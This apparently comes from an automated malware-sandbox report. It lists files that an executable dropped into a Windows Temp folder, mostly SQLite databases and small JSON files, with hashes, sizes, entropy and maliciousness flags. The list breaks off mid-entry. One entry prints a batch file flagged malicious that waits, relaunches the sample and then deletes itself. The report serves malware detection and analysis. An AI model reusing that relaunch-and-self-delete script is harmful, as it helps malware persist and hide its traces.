SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HQ1meOHoFD

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HWEMkGjPjU

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\HaSMpDhyJo

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HqNoZOKGIi

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HzUj7iixuJ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IAFLL0QKth

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IF0oP7uLsp

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IHkGKY5JJ0

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IIEWVyjYMl

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ISZDtiHk0N

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IgcuxrmZsC

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ivk6cSXb8j

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IyhptQhR3j

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JIFzYdQn1j

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JQVeLc7GK5

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JTG9CNUzPo

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JcekoaVTX1.bat

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	165
Entropy (8bit):	5.155207029628868
Encrypted:	false
SSDEEP:	3:mKDDVNGvTVLuVFcROr+jn9m1t+WfW/c26hASBktKcKZG1t+kiE2J5xAIceHkh:hCRLuVFOOr+DE1wvUySKOZG1wkn23f3K
MD5:	ACC76B2ED39EB6FEBFF0F3201D3945A9
SHA1:	F41665F89654424651F8F2355D131718AC6C3F38
SHA-256:	013B5748191703FA2C6CDD5A69C0CF3852D22C1DC27602E53DF445A45DC30B01
SHA-512:	F2500A8FAE6BB9C2E053DDCDB6AA6B415C382346B4BBE3A65E00887DA1CA00A5781459DB2A05C9C2135B3F51858B10D85CF20C653216636709964C08987BBC48
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Users\user\Desktop\Z90Z9bYzPa.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\JcekoaVTX1.bat"

C:\Users\user\AppData\Local\Temp\Jh0wTOkQ47

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JkXdtJvsJr

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\JmMDMHKLyf

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K9oazNr4ok

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\KZJi2CqunM

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KbkX7AriWZ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KeYN0C1Mqp

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Kjm5HUXTS6

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L6effUK1MV

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\L7Yokrxid8

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
